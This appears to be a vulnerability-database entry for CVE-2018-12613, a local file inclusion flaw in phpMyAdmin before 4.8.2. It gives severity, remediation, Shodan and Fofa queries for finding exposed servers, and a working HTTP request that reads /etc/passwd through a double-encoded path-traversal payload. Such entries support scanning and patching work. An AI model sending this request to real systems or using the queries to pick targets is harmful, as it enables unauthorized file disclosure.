| Title | PhpMyAdmin <4.8.2 - Local File Inclusion |
|---|---|
| Author | pikpikcu |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to read arbitrary files on the server. |
| Remediation | Upgrade PhpMyAdmin to version 4.8.2 or later to fix the vulnerability. |
| CVSS Score | 8.8 |
| EPSS Score | 0.94294 |
| CVE ID | CVE-2018-12613 |
| CWE ID | CWE-287 |
| Shodan Query | http.title:"phpmyadmin"http.component:"phpmyadmin"cpe:"cpe:2.3:a:phpmyadmin:phpmyadmin" |
| Fofa Query | title="phpmyadmin"body="pma_servername" && body="4.8.4" |
| Tags | cve cve2018 vulhub edb phpmyadmin lfi vkev vuln |
PhpMyAdmin before version 4.8.2 is susceptible to local file inclusion that allows an attacker to include (view and potentially execute) files on the server. The vulnerability comes from a portion of code where pages are redirected and loaded within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the “$cfg[‘AllowArbitraryServer’] = true” case (where an attacker can specify any host he/she is already in control of, and execute arbitrary code on phpMyAdmin) and the “$cfg[‘ServerDefault’] = 0” case (which bypasses the login requirement and runs the vulnerable code without any authentication).
GET /index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-12613.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-12613.pcap
N/AN/A